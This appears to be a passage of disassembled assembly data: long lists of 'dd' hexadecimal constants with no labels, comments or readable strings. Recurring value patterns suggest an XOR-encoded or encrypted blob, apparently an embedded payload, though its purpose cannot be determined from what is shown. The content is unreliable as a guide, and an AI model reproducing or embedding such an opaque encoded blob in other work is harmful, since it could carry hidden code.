		dd 116DF60Eh, 0AC269C66h, 44321F8Fh, 0E5C04F66h, 4DE7ED7Fh
		dd 77C3498Ch, 0A020C4E3h, 0B7B9E061h, 16D607B7h, 88339D69h
		dd 7DCE1566h, 0C63620F3h, 7BB61A61h, 0E8321566h, 0C554A0D4h
		dd 436086A8h, 401601EDh, 49B3F4EFh, 44321562h, 2236D4E7h
		dd 1DB51566h, 77CA4942h, 0C76C3152h, 445211A2h,	70CBCBEDh
		dd 41851A06h, 1E537535h, 26DE9407h, 98321566h, 8C8D315Ah
		dd 45321566h, 91524A98h, 70524323h, 69DB743Ch, 0ADCDEA9Ah
		dd 22321577h, 8519DFD7h, 2C504DB8h, 0CCD35C7Bh,	0C483A5C7h
		dd 3506EA76h, 8CF6943Ch, 0B1321566h, 701621EDh,	0D3B3F7EFh
		dd 88321562h, 4436D7E7h, 36B51566h, 0F8524942h,	88321561h
		dd 2DB74958h, 4344F74Bh, 0F2B27507h, 0E91DA7B5h, 171619EDh
		dd 0E1B3F6EFh, 11321562h, 8836D6E7h, 58B51566h,	0CB524942h
		dd 11321577h, 467CAFFAh, 40418AFh, 0FA7B5766h, 0CE15BF70h
		dd 0E9F19E9Bh, 131611EDh, 0E5B3F2EFh, 11321562h, 8836D2E7h
		dd 78B51566h, 31DB4942h, 0BA321566h, 55B40498h,	0E3521B4Bh
		dd 0A59D2324h, 0CF82E01h, 0DF546B9h, 43D60E23h,	22321566h
		dd 1132048Fh, 35656F66h, 8A08EF6Eh, 2843725Bh, 0B6444743h
		dd 0DF522EEh, 43D6358Bh, 22321566h, 3588759Ah, 0EE6E10AAh
		dd 0C753E6EDh, 0C9CA41DBh, 953D1561h, 8832152Bh, 276AA06h
		dd 953D461Ah, 9F3D74BFh, 8832157Eh, 44209D69h, 2FDB1566h
		dd 0BC321566h, 0BDB983DBh, 0B2AAC4A9h, 6E77F535h, 0DA5288EBh
		dd 33D128Ch, 4432156Eh,	22B11A06h, 70321566h, 0E852C699h
		dd 22E4A269h, 4453CAEDh, 3B9FC5E7h, 61B7EA07h, 0AD35F17Ch
		dd 22321563h, 94A5C65Ah, 618F9694h, 2035F17Ch, 208C9769h
		dd 1ECB1566h, 883214E2h, 0C1F5E066h, 25D60F8Fh,	11321567h
		dd 6152E093h, 44321560h, 5CA9AD96h, 94BFD8D5h, 8FD9CC45h
		dd 28A759Eh, 43010BF5h,	1ADBC599h, 0DC321566h, 0D8386B26h
		dd 0FF12A05Eh, 0A4BF0AF1h, 8FD9EC42h, 3C8F989Fh, 0DA35F9E2h
		dd 11321D8Fh, 24CD6966h, 75C599D3h, 24F59434h, 3806FC73h
		dd 0E78C4391h, 0C55BDB54h, 0E90E7088h, 90E4E25Eh, 733C2FA8h
		dd 0AAB35B7Bh, 25615E88h, 0BE38FBE7h, 7F1BB6A4h, 0FD547538h
		dd 0EAB9A600h, 15DE9607h, 91629EFh, 5DA53162h, 0A368030Ch
		dd 7B2B828Ch, 9EBB1A70h, 0AD321566h, 22321577h,	44CFF697h
		dd 92468E98h, 186586D2h, 0DD7F6C0Ah, 288F9E51h,	6135F168h
		dd 4432156Ah, 640F724Fh, 0CF93BB8Ch, 0A23CE2A5h, 0BBCDEADFh
		dd 0E203E999h, 1132138Fh, 51E99466h, 15E20719h,	223215DFh
		dd 9BC31466h, 0AC3E9E67h, 4436D1E7h, 33DB1566h,	3C321566h
		dd 8EF9CFA1h, 0D60A2657h, 0B10D9A94h, 1C8ED456h, 8DB61A06h
		dd 0FF321566h, 20BE6D64h, 11309E69h, 0E9521566h, 0B8FA2507h
		dd 2233AF34h, 0C7331566h, 85BC1A3Ch, 0AD321566h, 2232156Eh
		dd 6B208CB9h, 1D77C6Bh,	0CFB52199h, 0E6B13162h,	973D7562h
		dd 88321565h, 4BEC9E00h, 223213E6h, 11BA1A66h, 0E9321566h
		dd 243AFCA7h, 2232058Eh, 693E4766h, 8C3FC27Ah, 0A9C6E616h
		dd 8E1977AFh, 9A6BE9A7h, 490374B9h, 44339469h, 68CB1566h
		dd 0EE7A9069h, 80DBEA99h, 0B7321566h, 6D015BFFh, 40A5DED7h
		dd 0C02EAB30h, 30034F9Bh, 7A6C1142h, 0EC7A0953h, 86B11A3Ch
		dd 24321566h, 0D12CDCE7h, 0D0B34DDFh, 9113E048h, 89B58007h
		dd 0EFB5C491h, 9C3D75F3h, 88321566h, 9393F4E7h,	1B53456Ah
		dd 0F5333CE3h, 41B61A61h, 4B321566h, 223214EFh,	0AE65E966h
		dd 0E79E5D7Eh, 3FB3D2E7h, 0C5F33E6Dh, 5EE5E262h, 0EB2BAD36h
		dd 83032D98h, 0ABF5943Eh, 98A1973Ch, 3B524A9Eh,	0B489731Ah
		dd 0E23974D2h, 11209069h, 4FCB1566h, 0A03F2CE3h, 22321461h
		dd 10BF1A66h, 74321566h, 0E85A4434h, 7B087464h,	2376D4E7h
		dd 61B374CBh, 3174208Bh, 0A335FCA7h, 39DFFC97h,	0D1F89C54h
		dd 23D2F7E7h, 0F8C5086Dh, 565BDFE7h, 42B34FACh,	29133BE0h
		dd 0E0B3FFB7h, 91034CA5h, 0E868C467h, 4437FC06h, 0B46F1566h
		dd 0F9306C0Dh, 88321572h, 986B8D1Ch, 9D4F32DEh,	12A02EA9h
		dd 1D33209Bh, 6DAF38F4h, 9C8C743Fh, 707FCE65h, 88389E69h
		dd 41DB1566h, 9E321566h, 2E2581E4h, 31547507h, 0C089BBCBh
		dd 4378165Ah, 8C665EDFh, 69B35440h, 55546155h, 5648AD36h
		dd 0D0037E41h, 9FDB943Eh, 0C5268517h, 1AAFAF8Fh, 4263EC4Ch
		dd 0D87D4EDDh, 40D9D434h, 6BC1D6E7h, 0C8BB29FAh, 79B35C3Dh
		dd 2C1FD997h, 2D6BDFEFh, 11320CEBh, 8826FC66h, 0EE9A1566h
		dd 8A235DBFh, 0D609D71Ah, 0B9D2AA2Eh, 3421E0A3h, 429F6F0Eh
		dd 9696AD00h, 7B8CAD00h, 0AD879C07h, 0CB35F17Eh, 11321569h
		dd 4819B395h, 2F5C1817h, 7A245317h, 1E44FCCCh, 883214E3h
		dd 2C61E066h, 82D794Eh,	13D9D43Dh, 49CDD6E5h, 0AFB3178Dh
		dd 2093E3A4h, 4ACE4BEFh, 66DC289Eh, 0C13DFB88h,	223215E4h
		dd 63ED9506h, 3BA8D7E7h, 0C5530944h, 0FFEFC858h, 7AB71ABBh
		dd 71321566h, 0CD36F9E5h, 228A3162h, 98321566h,	61524D60h
		dd 44321563h, 97E4C2F9h, 43677498h, 883211DCh, 1EE79C66h
		dd 0DB6FFB67h, 9DBA0EFh, 0C3D1282h, 4432156Eh, 22309969h
		dd 70521566h, 88389F69h
		dd 4B521566h, 223215E5h, 70ED9E66h, 881F468Fh, 0A5DBED66h
		dd 2DCDEA98h, 113219EFh, 8EB91A66h, 4B321566h, 223215EFh
		dd 0A5AE966h, 1321516h,	83BB315Ah, 2D6DEEEFh, 113201EDh
		dd 86B21A66h, 0AD321566h, 2232156Fh, 0A1B63E3Ch, 89B22FCh
		dd 7DB726C2h, 0CB35F16Bh, 1132156Eh, 0F4861861h, 4209B6C8h
		dd 2232078Fh, 0B4C74A66h, 0D16C80C3h, 0DEFC944Ch, 0D343A983h
		dd 0D087C838h, 0DDCE16AEh, 202D21DBh, 7FDA1405h, 251FC54Fh
		dd 70517179h, 4B22D5A7h, 223202E1h, 1120FC66h, 11951566h
		dd 25C716ACh, 300701D4h, 81A52D38h, 4CBEC13Eh, 4ADBDD57h
		dd 0FE321566h, 0A5A6FC7Eh, 7076C943h, 2907E430h, 31BD1AE9h
		dd 1E321566h, 883218E5h, 443AFC66h, 0FC9A1566h,	78A50E2h
		dd 15BBC92Ch, 43D6185Fh, 2232108Fh, 6776B766h, 880F6DF7h
		dd 4B321466h, 2233D6E5h, 0AB547566h, 3754AFFCh,	0AD5358EBh
		dd 2232156Fh, 0ABEEC6D5h, 0A16C30E8h, 0FF0C94DEh, 2D89AEDDh
		dd 11338AE3h, 8835FC66h, 9BC1566h, 43BE4A28h, 0AB60EDCDh
		dd 0B03B12F6h, 44F09424h, 0D574153Ch, 83F094B4h, 14C1C07h
		dd 60269E70h, 2236D1E7h, 79CE1566h, 883274DFh, 0FE1601EFh
		dd 22321562h, 7168C367h, 98BB1A9Ah, 0AD321566h,	2232156Dh
		dd 1CB5A0AFh, 6003B852h, 25EC5592h, 3ADBA0EFh, 933D1282h
		dd 88321561h, 44339569h, 0DACA1566h, 5AB88EDh, 9521282h
		dd 61EA08BDh, 74627442h, 113215D8h, 0D6C29C66h,	4CB9CD67h
		dd 0AB61EC3Eh, 9AE89CA5h, 4CB1317Ah, 0FC547562h, 953D055Bh
		dd 0F85274B4h, 88321576h, 0F01CC184h, 0D0582EA1h, 84794BD1h
		dd 0C066EBC2h, 21D67D9Fh, 2EBB1566h, 98E39C42h,	87524CAEh
		dd 443213ECh, 22B51A66h, 77321566h, 0E94E04D8h,	0B5B37306h
		dd 0C3B3FB35h, 49200D4Eh, 75B73E07h, 0AD35F14Fh, 2232156Dh
		dd 41739AD2h, 51C1D61Ch, 85F120C1h, 2D521786h, 113216E6h
		dd 47B97366h, 49DB7493h, 3C321566h, 0F4C535A9h,	3603BED1h
		dd 17666206h, 3AE79065h, 923D1282h, 8832157Bh, 94B37306h
		dd 33DB4983h, 91321566h, 9F00ADC7h, 0A0A35F7Bh,	0F9BCFFBh
		dd 64159544h, 0B9C22407h, 0B1C224A0h, 26B91ACBh, 71321566h
		dd 0DE537406h, 6821E7D8h, 0D4B35314h, 23EB2DB4h, 896CE54Fh
		dd 6F1310AEh, 31DB5593h, 0DC321566h, 372D0AD9h,	0F3CA4ED7h
		dd 9804B2A2h, 4C527126h, 0CCBB7660h, 25CB0942h,	20FFFC9Eh
		dd 1CDB1566h, 11321566h, 82C42D3h, 0AC4DF009h, 6848B376h
		dd 9D59C31h, 443211A1h,	26DD9666h, 4D1629E1h, 711619EFh
		dd 4453E00Eh, 6269C66h,	11321A8Fh, 0E581266h, 0DC5B43C6h
		dd 4D399A78h, 72A62B0Ch, 3CEDC57h, 0A01468F3h, 25BF1A61h
		dd 1E321566h, 883214E4h, 4609E966h, 22939169h, 0E8521566h
		dd 953CDEDh, 4432118Ah,	6069C66h, 113211D8h, 0D6C01466h
		dd 443A9269h, 0A53D1566h, 11321564h, 30627406h,	17FE5A19h
		dd 0EE7D6B4Bh, 49F31435h, 88339B69h, 7FCE1566h,	0C63620EBh
		dd 0A2B71A61h, 87CDEA99h, 443212E5h, 7C637566h,	70FD9E00h
		dd 0F07FAE35h, 0AFF32D84h, 0D1B35E62h, 12BC32E5h, 6169CDEFh
		dd 44321577h, 7445476Ah, 0ACF139A0h, 9DA1273Ah,	77F2C86Dh
		dd 0C5BF98FFh, 1E35F129h, 883214ECh, 0A5CDE966h, 2222FC06h
		dd 0E5A1566h, 3B8C9768h, 0E7992CEBh, 56638040h,	98534FEEh
		dd 6C20C4EBh, 70CDE961h, 0E6B14F42h, 1139FC62h,	600C1566h
		dd 56CB4D7Dh, 5EA684FCh, 353E9EE8h, 9D79C33h, 443211A3h
		dd 26F79466h, 96321566h, 616E314Ah, 44321568h, 0BC6EDC89h
		dd 34A6BD9Fh, 2D098D9Ah, 0CD61B30Dh, 26F19485h,	92321566h
		dd 94B5118Dh, 70BB4942h, 0A33D7542h, 11321564h,	8B83D6EDh
		dd 0DDAF9E07h, 0CB35F172h, 11321576h, 1220EC3Eh, 0CA4E81F7h
		dd 6F3F83F1h, 0ACDB76ADh, 8CB32699h, 5127D942h,	63E9E18h
		dd 1136D1E7h, 61B31566h, 3A2700AAh, 0F3B79E9Eh,	1E35F174h
		dd 88321BEFh, 443BFC66h, 97EE1566h, 39E034DAh, 59DA6E33h
		dd 57DA7586h, 17321566h, 7DB9FE2h, 0E3ED30AFh, 62B20ED6h
		dd 69E744C2h, 90540E9Ch, 0D26BD288h, 44379069h,	88C1566h
		dd 7058D905h, 0AE579065h, 0C13D1282h, 22321561h, 11339C69h
		dd 0B9CA1566h, 49BB1A90h, 0CB321566h, 1132156Eh, 0AB710443h
		dd 995FB6EEh, 26B94336h, 15F69642h, 8821FC38h, 23F11566h
		dd 1FC59D81h, 33413930h, 0DBB68970h, 0E1419028h, 0CB9F73F5h
		dd 11321563h, 0BBBB91C4h, 45B71A16h, 0DE321566h, 7130F5A7h
		dd 8832058Fh, 0D595D066h, 6BAEE479h, 0F03B9144h, 6EAE4DAEh
		dd 25C29EB3h, 3AE79065h, 933D1282h, 8832156Ch, 44BA1A06h
		dd 0A9321566h, 0E103749Dh, 7803D357h, 44321E8Fh, 0B3ECAA66h
		dd 0D6DFA7F6h, 0D524107Ch, 175275CBh, 0ED8D1A39h, 0B5D1AD07h
		dd 8D534115h, 1B502748h, 821B763h, 3CFA145Fh, 0B11806C4h
		dd 26003B4Bh, 2AB41A39h, 1E321566h, 883217E7h, 0CF537566h
		dd 0AB653152h, 15F59481h, 0B321566h, 78B511A1h,	0A1CB4942h
		dd 0F510B8DBh, 0C3D1461h, 443215D5h, 0BFBF2E9Ah, 1E35F167h
		dd 8832B3E2h, 0CD3DE066h, 2232156Ah, 11349369h,	43D1566h
		dd 44321566h, 3FD3985Dh, 953D1282h, 883215E1h, 443A9B69h
		dd 0A13D1566h, 11321564h, 5097406h, 43D61887h, 225F9169h
		dd 973D1566h, 88321574h, 4432188Fh, 72F1C466h, 1889180Ah
		dd 0D76DC248h, 0D9BFDD31h, 25DE43B5h, 0C9851A06h, 8839FC35h
		dd 15FE1566h, 0BC24B18Bh, 26ECF8D5h, 77534BEBh,	45BC1AB5h
		dd 0DA321566h, 44F79C33h, 30524839h, 3C95500Ah,	0A7BB749Eh
		dd 16D637C7h, 0A95FFC9Ah, 54DB1566h, 0B8321566h, 63D9EE96h
		dd 0DDB8BD79h, 89848643h, 0AF7396D1h, 0FD64C6FBh, 8838FC61h
		dd 9F1C1566h, 6F6E134Ah, 6B0ADE22h, 0E8C7C699h,	0DA5805DCh
		dd 0EAFF9578h, 0BC8F9607h, 8835F144h, 446E9169h, 44521566h
		dd 2A53DFEDh, 6C21D8E3h, 70B61A61h, 2D321566h, 11321AEDh
		dd 8838FC66h, 7171566h,	0A7C2B171h, 13B9A0C3h, 9718AB06h
		dd 7F533C8Bh, 0C61CECE3h, 32B71A61h, 0E8321566h, 0FF89400h
		dd 5B2CAD95h, 0F853175Fh, 77CDEA54h, 443E9269h,	0A83D1566h
		dd 11321560h, 88329D69h, 0C1091566h, 25D607E7h,	11539069h
		dd 93D1566h, 44321567h,	378F969Eh, 1135F146h, 88279169h
		dd 0C7C71566h, 0C638D0DBh, 953D1561h, 88321559h, 44339B69h
		dd 0AFCB1566h, 0FAE888E3h, 8826FC61h, 0E6B81566h, 0E8B077F0h
		dd 0C0D4F538h, 21AABFB7h, 16C41C15h, 0E5DB514Fh, 0F8CDEA98h
		dd 88321569h, 261FFCD5h, 0F31D9241h, 39C489Eh, 0B3715B8Fh
		dd 0A02094E3h, 85B61A61h, 0F8CDEA98h, 8832156Fh, 0EF946616h
		dd 651C2CF0h, 298F96F1h, 8935FE9Eh, 445D9069h, 31DB1566h
		dd 0D3321566h, 0D2776BB3h, 815D39F4h, 9B813F45h, 59D39CF4h
		dd 0D09986Fh, 43D9ED0Ah, 22799069h, 993D1566h, 8832157Fh
		dd 4432018Fh, 0D98A4566h, 0FF4F31B5h, 0B16C60EFh, 0E0A24640h
		dd 0BEE166EDh, 0F5B798F5h, 61324C6Dh, 44321575h, 0E07304F5h
		dd 889528E8h, 0E9C716ACh, 560701D4h, 0D7A52D38h, 0EECC5E8Fh
		dd 4AB37599h, 632CB6A6h, 0CBCD2407h, 11321560h,	3D402C64h
		dd 0F9B1EC14h, 25D6367Bh, 2B61A66h, 61321577h, 44321575h
		dd 8D6C66CEh, 26A9DA79h, 0B17F2E26h, 4300DD8Dh,	0DE1AFA64h
		dd 0E96A905Dh, 0D3D128Dh
		dd 4432155Ah, 2232058Fh, 294B0466h, 0B73C670Eh,	0DCB2983Eh
		dd 0CAF58E19h, 50B79E5Ch, 7D35F164h, 4433AF34h,	0F5331566h
		dd 1120FC3Ch, 27BE1566h, 3C8D05DBh, 61153BBFh, 8CFB2BFFh
		dd 61CDB4Bh, 0BC52905Dh, 0A73D128Dh, 11321532h,	88269869h
		dd 4BDB1566h, 2C321566h, 9E35F0A1h, 0FE0F429Ch,	0BF579F3Eh
		dd 0A7B97368h, 16D61057h, 88321A8Fh, 96F87B66h,	92B567E5h
		dd 22E587C1h, 5308FC60h, 0BB8B449Eh, 0BCDEA99h,	0DB4CA9h
		dd 38321566h, 1E6FD904h, 3AB09DCh, 0AC6B3E63h, 86B2668Ch
		dd 0BC6E905Dh, 0A73D128Dh, 11321559h, 0ADB79E93h, 4B35F14Bh
		dd 22320DEDh, 1121FC66h, 0F6341566h, 7507B816h,	5351866h
		dd 375742F4h, 49DE27D1h, 4EB81A46h, 42321566h, 0AAF5A269h
		dd 0D9F5F360h, 0BB8B4407h, 0BCDEA99h, 2ACE4CA9h, 63CA71E3h
		dd 8B71A61h, 2D321566h,	113219E5h, 8EB51A66h, 4B321566h
		dd 223215E2h, 48B79E66h, 6135F173h, 4432156Ch, 31C9EDE9h
		dd 246FDC98h, 0DEC7A987h, 443214D8h, 7CC51466h,	11279969h
		dd 98DB1566h, 0EE321566h, 82FD8B5Ch, 949F555Fh,	52214276h
		dd 7F2D6B29h, 0C9CA7DE3h, 0FB71A61h, 0E8321566h, 0B1EAFDE6h
		dd 0A7B9E907h, 16D613ABh, 898B449Eh, 45321566h,	0A43D4CA9h
		dd 11321567h, 0E4B72E9Ah, 4B35FE9Eh, 223256E3h,	19B61A66h
		dd 87321566h, 443217EFh, 0A9537566h, 0F53010E3h, 80B31A61h
		dd 24321566h, 0A2EAA269h, 4253BE80h, 883214DDh,	1FED1466h
		dd 2232068Fh, 0C7DA4666h, 0FF43BF56h, 8B52BC9h,	0D3B26960h
		dd 142946D9h, 7042905Dh, 0C13D128Dh, 22321549h,	1EEA9F06h
		dd 883210EAh, 6EE9AD66h, 0A95307DAh, 0F51014E3h, 82B01A61h
		dd 0AD321566h, 22321563h, 22472904h, 898C435Ah,	45321566h
		dd 19CA4B91h, 0FACA61E3h, 0BEB71A61h, 0BD321566h, 2D6F90EDh
		dd 71521282h, 62A7AB00h, 28C49400h, 0D0B37447h,	62F59FF2h
		dd 8CB14207h, 246D1442h, 22321A8Fh, 73E56E66h, 8151BE1Fh
		dd 0F90B4260h, 0F3970C6Ch, 69B72E07h, 8735FE9Eh, 443259E3h
		dd 223FFC66h, 3331566h,	0CACE72D4h, 0FECFB30Bh,	0A99295A3h
		dd 0F51564E3h, 8835FC61h, 18721566h, 39D1B281h,	3DB342D3h
		dd 77CDEA42h, 22524A99h, 0CB60CAEDh, 11321575h,	0E72099BCh
		dd 333750ADh, 0ADF3E005h, 0B1C17F2h, 0D358DFF0h, 38B72E07h
		dd 2D35FE9Eh, 113243E3h, 9ADB7566h, 30321566h, 0CC667102h
		dd 0D9D80564h, 0F5B76D7Dh, 0BB065223h, 2239FDB2h, 4B841566h
		dd 2A585E03h, 8F2F0BD0h, 0A9534A75h, 0F517E8E3h, 3062EC61h
		dd 0BBCDEA99h, 426AD24Fh, 1132048Fh, 29BD0166h,	487F218Bh
		dd 73110F3Bh, 0FF22933Ch, 36542B60h, 7F53444Ah,	0C9CA91E3h
		dd 22B71A61h, 61321566h, 44321563h, 1AC254C9h, 4B79ECFh
		dd 7435F179h, 16BBAD36h, 0C2F32885h, 0C1C55560h, 0D58C3826h
		dd 8333924Dh, 0A73D753Eh, 11321565h, 3FC9E00h, 0C109749Eh
		dd 25D9EDE6h, 11789069h, 87521566h, 0FA54DCD1h,	0A153BEB6h
		dd 0F51CC8DBh, 0D3D1561h, 44321552h, 2239FC9Ah,	59181566h
		dd 0DED23BEEh, 0B02FA4CFh, 17B79E01h, 7135F169h, 8832128Fh
		dd 13D30B66h, 0EA3C508Ch, 5B3586D9h, 36647414h,	0BBCDEA99h
		dd 0DA6CE24Fh, 1C47A8E5h, 87321282h, 443274E2h,	23BD1A66h
		dd 0E8321566h, 713E905Dh, 0C13D128Dh, 22321528h, 11359669h
		dd 73D1566h, 44321567h,	34B41A9Ah, 71321566h, 88321A8Fh
		dd 0CAABA666h, 0C5A2196Ch, 8884E2BDh, 6680D6CDh, 0F5B79E07h
		dd 0CB35F14Bh, 11321576h, 0D1273C43h, 0F7831211h, 27D329E8h
		dd 22C818Dh, 77CDA833h,	0AB1BEA99h, 9FB1ED3Bh, 16D6383Bh
		dd 0E1B61A66h, 24321564h, 2DDBED06h, 0E2321566h, 6453F2A0h
		dd 0A9296E78h, 97F876B0h, 77530A5Ch, 3580FEE7h,	458F9607h
		dd 2235F16Fh, 130C9169h, 9CDB1566h, 85321566h, 67108587h
		dd 6380CAD0h, 0E2D6546h, 0BF2ABB25h, 1908D615h,	0FACAE5E3h
		dd 0C2B71A61h, 0B8321566h, 5A390EDh, 1ADB1282h,	13321566h
		dd 5658CEFAh, 0F96A084Bh, 0AB604840h, 88321567h, 0AD68C267h
		dd 22321563h, 7323579Eh, 0B3D7505h, 44321564h, 33DBC3EDh
		dd 0FD321566h, 0B2EFC03Dh, 0B5D26A91h, 7D870479h, 0A58EC78Bh
		dd 88B72E07h, 4B35FE9Fh, 22320DE3h, 94B9EC66h, 8FD60E43h
		dd 17ED929Fh, 79161199h, 903DCAE1h, 88321567h, 0B0B72E9Eh
		dd 2D35FE9Eh, 113241E3h, 0DB9ED66h, 43D62483h, 2226FD06h
		dd 0F45C1566h, 5F1FE9AEh, 53786632h, 0C3FEF303h, 0E9FEBAD3h
		dd 59B26EE8h, 4FDB4E07h, 4E321566h, 0AE5DD34Dh,	7F17A4A7h
		dd 0BC538536h, 2233AE35h, 0CE331566h, 883DFC3Dh, 0CB031566h
		dd 0D0AE31E2h, 0F27DE0CFh, 0D3420965h, 40B72E4Fh, 2D35FE9Fh
		dd 11325BE3h, 36547566h, 0A2B241D9h, 2D5274B1h,	113215E4h
		dd 0E9C99E66h, 517390EDh, 2DDB1282h, 60321566h,	6F9988C1h
		dd 0C9199CEAh, 13CD62A7h, 0FDB1EDCCh, 0AC0E9C62h, 1B161199h
		dd 2232078Fh, 2E1DC066h, 27305215h, 4D0BDE35h, 3F38CC6Ah
		dd 2AF5EFF9h, 63CB1DE3h, 2CB71A61h, 2D321566h, 11320FEAh
		dd 9CB61A66h, 0AD321566h, 22321569h, 29683E96h,	16843735h
		dd 3B5C8CB5h, 0A9FCD2F7h, 0F527F8E3h, 89BF1A61h, 0BC321566h
		dd 0DBB97306h, 11329269h, 0DA531566h, 575085DCh, 0D0B35F38h
		dd 4F2177E8h, 6168C267h, 44321577h, 667F4960h, 0A482DADh
		dd 1781E5A4h, 0CFB06856h, 26BC1A87h, 71321566h,	0B3537406h
		dd 0AFCAEDE3h, 6FB71A61h, 1E321566h, 88321BE7h,	85B97566h
		dd 2232108Fh, 10442166h, 7053AF36h, 5D3790EDh, 32DB1282h
		dd 0F7321566h, 0D209C2CCh, 54596ACEh, 342B887Bh, 0E944BB5Fh
		dd 883DAC37h, 85B30568h, 40802FD1h, 0E6D3C42Fh,	79B35CB7h
		dd 5E4D9F13h, 0DA6BDA67h, 0E9CE905Dh, 0D3D128Dh, 4432157Eh
		dd 2DFD9E06h, 9A53DAD1h, 6C245CE3h, 0FC62E061h,	22321567h
		dd 0E96AD267h, 8133A8E5h, 4B321282h, 22386CE2h,	4252E066h
		dd 0E930CEE7h, 4B6B1D90h, 223217EAh, 70537566h,	70BA905Dh
		dd 0C13D128Dh, 2232152Bh, 68B79E9Ah, 8735F149h,	44321FEEh
		dd 0A3547566h, 1E56A380h, 0D853D5D1h, 0CC539DDEh, 647B307Ch
		dd 247A4E1Ah, 0BFF47D28h, 0A7585763h, 4F441061h, 0D633DF28h
		dd 8821FC3Eh, 8AF1566h,	0A902E8D2h, 1AC758D9h, 0C2DED89Bh
		dd 8B8603ACh, 3EB72E80h, 1E35FE9Fh, 883249E3h, 56DB7566h
		dd 98321566h, 3480CD53h, 4A4D1C2Ch, 8FB3648Ah, 3FB74DA1h
		dd 12B61A06h, 87321566h, 0CF53CED9h, 0C6272CE3h, 0AB60E961h
		dd 0E5866221h, 6878D7E7h, 0F0C56467h, 0E3B3C791h, 0C95F1282h
		dd 0AEB3C791h, 42154EEFh, 1E68C267h, 883219ECh,	42BF1A66h
		dd 2D321566h, 113215E8h, 4B72E66h, 4B35FE9Eh, 223233E3h
		dd 19B91A66h, 87321566h, 443217E6h, 0A9537566h,	0F531CCE3h
		dd 0D0627561h, 68D5AC00h, 0DD8B4407h, 38CDEA99h, 0B3CA4CA9h
		dd 0AFCA85E3h, 6EB71A61h, 1E321566h, 883212EBh,	45B71A66h
		dd 0DE321566h, 4C790EDh, 9ADB1282h, 0FA321566h,	0A482D582h
		dd 0C680B728h, 579C95B5h, 6C4A5D1Ch, 9860E9BDh,	0DD134A9h
		dd 9809D7E7h, 857853A4h, 0D0B3128Ch, 7869603Eh,	4AF09424h
		dd 6DA476A6h, 19CA4FB1h, 0FACA81E3h, 0DEB71A61h, 0B8321566h
		dd 2CAF90EDh, 0F8521282h, 8832156Eh, 2FACEB68h,	7B85E667h
		dd 975FAD00h, 3163ED07h
		dd 30F42B28h, 6AD39427h, 0E64DC055h, 8BD3D4BFh,	75BF4E7h
		dd 0D3B33D76h, 19225427h, 876BDA67h, 443201E9h,	223DFC66h
		dd 15A31566h, 0CFFDEEE2h, 0DA2B8098h, 0CE75388Ah, 89B72EE2h
		dd 8735FE9Eh, 443274E3h, 223AFC66h, 0E1001566h,	0DDEBB4A5h
		dd 0F9B11D94h, 25D63BBBh, 56B71A66h, 87321566h,	44320CEBh
		dd 0C8B37566h, 247BB345h, 88321E8Eh, 5A9E6766h,	351135DDh
		dd 0C4D379E2h, 0DB9743Ch, 43D61E47h, 223E9B69h,	963D1566h
		dd 88321560h, 44329269h, 9A621566h, 11321567h, 876AD267h
		dd 443214E8h, 0A709E066h, 16D9EDFAh, 881A9069h,	0CFCA1566h
		dd 0C61DD0E3h, 0A962ED61h, 77CDEA99h, 4B6AD24Fh, 223204E6h
		dd 113EFC66h, 0DB661566h, 0DDD648B8h, 88B1DF7Fh, 94090884h
		dd 8FD9EDC6h, 44699069h, 44521566h, 1FCEF3E7h, 558F9607h
		dd 4435F148h, 22759069h, 0A9521566h, 0A4EC473Dh, 0A5B79E07h
		dd 4235F166h, 11309269h, 28821566h, 44269369h, 2DDB1566h
		dd 4A321566h, 557A60CDh, 4698B669h, 6F927612h, 40536426h
		dd 77CDEADFh, 1DFD3C99h, 22359569h, 9E3D1566h, 88321567h
		dd 0E0B72E93h, 2D35FE9Eh, 113244E3h, 93BA1A66h,	4B321566h
		dd 223200ECh, 1122FC66h, 46101566h, 0E96EF3D3h,	0D0B9500Fh
		dd 88DD6CC8h, 0DB9D464h, 43D60F5Fh, 2BDB4306h, 0CF321566h
		dd 2850692Eh, 0C442CE74h, 223AFD39h, 0B81C1566h, 6727DA5Fh
		dd 256BCFE3h, 1377FAE1h, 20CF2489h, 0D09E989h, 43D9EDCEh
		dd 22049069h, 9ACB1566h, 6C26F0E3h, 14C77561h, 78FDA269h
		dd 0EE8F4007h, 0A1CDEA99h, 4B524889h, 223210EFh, 0F8B37366h
		dd 3548DFEh, 0C13D749Fh, 2232156Eh, 11309469h, 0E9521566h
		dd 0BC82905Dh, 0A73D128Dh, 113215E0h, 66B3E906h, 55BD5D15h
		dd 0FF8F9607h, 1135F148h, 88429069h, 49DB1566h,	0C9321566h
		dd 0B8D5EB6Fh, 0DF1E2FF6h, 78F18869h, 2239FC06h, 711B1566h
		dd 2079864Eh, 85DF4940h, 223EFCB1h, 56CB1566h, 0FC8A569Eh
		dd 74348DA7h, 0A953879Ch, 0F5292CE3h, 8820FC61h, 680A1566h
		dd 35A550ABh, 0CDF2F54Eh, 8D632177h, 0A6BBE0FDh, 2233AE35h
		dd 0CE331566h, 0EE52EC3Dh, 379AE3E7h, 0F1CAAB06h, 943D3C27h
		dd 88321566h, 0C1097407h, 25D9EDCAh, 11679069h,	87521566h
		dd 443216E7h, 0F8B97366h, 0ED532DD7h, 0A6EFA8E5h, 4B321282h
		dd 22322FE3h, 10B21A66h, 70321566h, 62BF90EDh, 74521282h
		dd 11329069h, 0E96A1566h, 44339F69h, 72CB1566h,	113214DEh
		dd 0D0F51466h, 443E9E69h, 98521566h, 6D5D7023h,	8CEB9400h
		dd 7FCE7441h, 0C9CAA1E3h, 53B71A61h, 87321566h,	44321DE3h
		dd 20BA1A66h, 71321566h, 0DB9E907h, 43D6305Bh, 34F69506h
		dd 1138FC06h, 229C1566h, 0DD691589h, 18BF8F00h,	70C1AA69h
		dd 0A4B14207h, 246DEA42h, 22349769h, 9E3D1566h,	88321566h
		dd 0FCB72E07h, 2D35FE9Eh, 11326EE3h, 883BFC66h,	81F11566h
		dd 78269C59h, 9A2E380Dh, 6C1E0CE3h, 49DB7561h, 24321566h
		dd 9DA0EF56h, 55912DACh, 0BE4CA58Eh, 2232068Eh,	0CAB93966h
		dd 0E5E1878Dh, 3574076Bh, 0F197CBDh, 45A5D9BAh,	0E96DDBEDh
		dd 4432048Fh, 8BBE1266h, 61A71AB9h, 3DA1C79Ch, 71C0456Fh
		dd 99617AC6h, 11321567h, 6169CA67h, 44321572h, 0AC00CC42h
		dd 0B325D44Bh, 965F5FC7h, 0DACFF7ACh, 0E8FCA44Eh, 0E98E905Dh
		dd 0D3D128Dh, 44321502h, 22321E8Fh, 0CD79E266h,	58F50654h
